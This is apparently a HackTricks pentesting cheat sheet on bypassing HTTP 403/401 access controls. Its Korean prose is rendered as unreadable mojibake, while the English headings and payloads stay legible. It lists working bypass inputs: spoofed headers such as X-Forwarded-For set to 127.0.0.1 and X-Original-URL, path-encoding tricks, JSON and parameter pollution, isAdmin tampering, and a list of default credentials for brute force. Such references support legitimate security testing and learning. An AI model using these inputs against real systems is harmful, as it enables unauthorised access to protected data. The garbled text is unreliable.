403 & 401 Bypasses

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

HTTP Verbs/Methods Fuzzing

ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์–‘ํ•œ ๋™์‚ฌ๋ฅผ ์‚ฌ์šฉํ•ด ๋ณด์„ธ์š”: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • ์‘๋‹ต ํ—ค๋”๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ์œ ์šฉํ•œ ์ •๋ณด๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, HEAD์— ๋Œ€ํ•œ 200 ์‘๋‹ต๊ณผ Content-Length: 55๋Š” HEAD ๋™์‚ฌ๊ฐ€ ์ •๋ณด๋ฅผ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ๊ทธ ์ •๋ณด๋ฅผ ์œ ์ถœํ•  ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • X-HTTP-Method-Override: PUT๊ณผ ๊ฐ™์€ HTTP ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์‚ฌ์šฉ๋œ ๋™์‚ฌ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • TRACE ๋™์‚ฌ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ , ์šด์ด ์ข‹๋‹ค๋ฉด ์‘๋‹ต์—์„œ ์œ ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ค‘๊ฐ„ ํ”„๋ก์‹œ๊ฐ€ ์ถ”๊ฐ€ํ•œ ํ—ค๋”๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

HTTP Headers Fuzzing

  • Host ํ—ค๋”๋ฅผ ์ž„์˜์˜ ๊ฐ’์œผ๋กœ ๋ณ€๊ฒฝํ•˜์„ธ์š” (์—ฌ๊ธฐ์„œ ์ž‘๋™ํ•œ ์˜ˆ)

  • ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž ์—์ด์ „ํŠธ ์‚ฌ์šฉ์œผ๋กœ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•ด ๋ณด์„ธ์š”.

  • HTTP ํ—ค๋” ํผ์ง•: HTTP ํ”„๋ก์‹œ ํ—ค๋”, HTTP ์ธ์ฆ ๊ธฐ๋ณธ ๋ฐ NTLM ๋ธŒ๋ฃจํŠธํฌ์Šค(๋ช‡ ๊ฐ€์ง€ ์กฐํ•ฉ๋งŒ ์‚ฌ์šฉ) ๋ฐ ๊ธฐํƒ€ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•ด ๋ณด์„ธ์š”. ์ด๋ฅผ ์œ„ํ•ด fuzzhttpbypass ๋„๊ตฌ๋ฅผ ๋งŒ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

๊ฒฝ๋กœ๊ฐ€ ๋ณดํ˜ธ๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ ์ด๋Ÿฌํ•œ ๋‹ค๋ฅธ ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ฒฝ๋กœ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•ด ๋ณด์„ธ์š”:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • ํŽ˜์ด์ง€๊ฐ€ ํ”„๋ก์‹œ ๋’ค์— ์žˆ๋Š” ๊ฒฝ์šฐ, ์•„๋งˆ๋„ ํ”„๋ก์‹œ๊ฐ€ ๊ฐœ์ธ ์ •๋ณด ์ ‘๊ทผ์„ ๋ฐฉํ•ดํ•˜๊ณ  ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. HTTP Request Smuggling ๋˜๋Š” hop-by-hop headers๋ฅผ ์•…์šฉํ•ด ๋ณด์„ธ์š”.

  • ํŠน์ˆ˜ HTTP ํ—ค๋”๋ฅผ ํผ์ง•ํ•˜์—ฌ ๋‹ค์–‘ํ•œ ์‘๋‹ต์„ ์ฐพ์•„๋ณด์„ธ์š”.

  • HTTP ๋ฉ”์„œ๋“œ๋ฅผ ํผ์ง•ํ•˜๋Š” ๋™์•ˆ ํŠน์ˆ˜ HTTP ํ—ค๋”๋ฅผ ํผ์ง•ํ•˜์„ธ์š”.

  • Host ํ—ค๋”๋ฅผ ์ œ๊ฑฐํ•˜๋ฉด ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค.

Path Fuzzing

_if /path_๊ฐ€ ์ฐจ๋‹จ๋œ ๊ฒฝ์šฐ:

  • /%2e/path๋ฅผ ์‚ฌ์šฉํ•ด ๋ณด์„ธ์š”(ํ”„๋ก์‹œ์—์„œ ์ ‘๊ทผ์ด ์ฐจ๋‹จ๋œ ๊ฒฝ์šฐ, ์ด ๋ฐฉ๋ฒ•์œผ๋กœ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค). /%252e**/path(์ด์ค‘ URL ์ธ์ฝ”๋”ฉ)๋„ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”.
  • ์œ ๋‹ˆ์ฝ”๋“œ ์šฐํšŒ๋ฅผ ์‹œ๋„ํ•˜์„ธ์š”: /%ef%bc%8fpath (URL ์ธ์ฝ”๋”ฉ๋œ ๋ฌธ์ž๋Š” โ€œ/โ€œ์™€ ๊ฐ™์œผ๋ฏ€๋กœ ๋‹ค์‹œ ์ธ์ฝ”๋”ฉํ•˜๋ฉด _//path_๊ฐ€ ๋˜์–ด /path ์ด๋ฆ„ ๊ฒ€์‚ฌ๋ฅผ ์ด๋ฏธ ์šฐํšŒํ–ˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.)
  • ๊ธฐํƒ€ ๊ฒฝ๋กœ ์šฐํšŒ:
  • site.com/secret โ€“> HTTP 403 Forbidden
  • site.com/SECRET โ€“> HTTP 200 OK
  • site.com/secret/ โ€“> HTTP 200 OK
  • site.com/secret/. โ€“> HTTP 200 OK
  • site.com//secret// โ€“> HTTP 200 OK
  • site.com/./secret/.. โ€“> HTTP 200 OK
  • site.com/;/secret โ€“> HTTP 200 OK
  • site.com/.;/secret โ€“> HTTP 200 OK
  • site.com//;//secret โ€“> HTTP 200 OK
  • site.com/secret.json โ€“> HTTP 200 OK (ruby)
  • ๋‹ค์Œ ์ƒํ™ฉ์—์„œ ์ด ๋ชฉ๋ก๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • ๊ธฐํƒ€ API ์šฐํšŒ:
  • /v3/users_data/1234 โ€“> 403 Forbidden
  • /v1/users_data/1234 โ€“> 200 OK
  • {โ€œidโ€:111} โ€“> 401 Unauthriozied
  • {โ€œidโ€:[111]} โ€“> 200 OK
  • {โ€œidโ€:111} โ€“> 401 Unauthriozied
  • {โ€œidโ€:{โ€œidโ€:111}} โ€“> 200 OK
  • {โ€œuser_idโ€:โ€œ<legit_id>โ€,โ€œuser_idโ€:โ€œ<victims_id>โ€} (JSON Parameter Pollution)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Parameter Manipulation

  • param ๊ฐ’ ๋ณ€๊ฒฝ: id=123 โ€“> id=124
  • URL์— ์ถ”๊ฐ€ ๋งค๊ฐœ๋ณ€์ˆ˜ ์ถ”๊ฐ€: ?id=124 โ€”-> id=124&isAdmin=true
  • ๋งค๊ฐœ๋ณ€์ˆ˜ ์ œ๊ฑฐ
  • ๋งค๊ฐœ๋ณ€์ˆ˜ ์ˆœ์„œ ๋ณ€๊ฒฝ
  • ํŠน์ˆ˜ ๋ฌธ์ž ์‚ฌ์šฉ.
  • ๋งค๊ฐœ๋ณ€์ˆ˜์—์„œ ๊ฒฝ๊ณ„ ํ…Œ์ŠคํŠธ ์ˆ˜ํ–‰ โ€” -234 ๋˜๋Š” 0 ๋˜๋Š” _99999999_์™€ ๊ฐ™์€ ๊ฐ’์„ ์ œ๊ณตํ•˜์„ธ์š”(๋ช‡ ๊ฐ€์ง€ ์˜ˆ์‹œ ๊ฐ’).

Protocol version

HTTP/1.1์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ 1.0์„ ์‚ฌ์šฉํ•ด ๋ณด์„ธ์š” ๋˜๋Š” 2.0์„ ์ง€์›ํ•˜๋Š”์ง€ ํ…Œ์ŠคํŠธํ•ด ๋ณด์„ธ์š”.

Other Bypasses

  • ๋„๋ฉ”์ธ์˜ IP ๋˜๋Š” CNAME๋ฅผ ๊ฐ€์ ธ์™€์„œ ์ง์ ‘ ์—ฐ๋ฝํ•ด ๋ณด์„ธ์š”.
  • ์ผ๋ฐ˜ GET ์š”์ฒญ์„ ๋ณด๋‚ด ์„œ๋ฒ„์— ๋ถ€ํ•˜๋ฅผ ์ฃผ์–ด ๋ณด์„ธ์š” (์ด ์‚ฌ๋žŒ์€ Facebook์—์„œ ์ž‘๋™ํ–ˆ์Šต๋‹ˆ๋‹ค).
  • ํ”„๋กœํ† ์ฝœ ๋ณ€๊ฒฝ: http์—์„œ https๋กœ, ๋˜๋Š” https์—์„œ http๋กœ ๋ณ€๊ฒฝ
  • https://archive.org/web/์— ๊ฐ€์„œ ๊ณผ๊ฑฐ์— ํ•ด๋‹น ํŒŒ์ผ์ด ์ „ ์„ธ๊ณ„์ ์œผ๋กœ ์ ‘๊ทผ ๊ฐ€๋Šฅํ–ˆ๋Š”์ง€ ํ™•์ธํ•ด ๋ณด์„ธ์š”.

Brute Force

  • ๋น„๋ฐ€๋ฒˆํ˜ธ ์ถ”์ธก: ๋‹ค์Œ ์ผ๋ฐ˜ ์ž๊ฒฉ ์ฆ๋ช…์„ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”. ํ”ผํ•ด์ž์— ๋Œ€ํ•ด ์•„๋Š” ๊ฒƒ์ด ์žˆ๋‚˜์š”? ๋˜๋Š” CTF ๋„์ „ ์ด๋ฆ„์€ ๋ฌด์—‡์ธ๊ฐ€์š”?
  • Brute force: ๊ธฐ๋ณธ, ๋‹ค์ด์ œ์ŠคํŠธ ๋ฐ NTLM ์ธ์ฆ์„ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”.
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

์ž๋™ ๋„๊ตฌ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ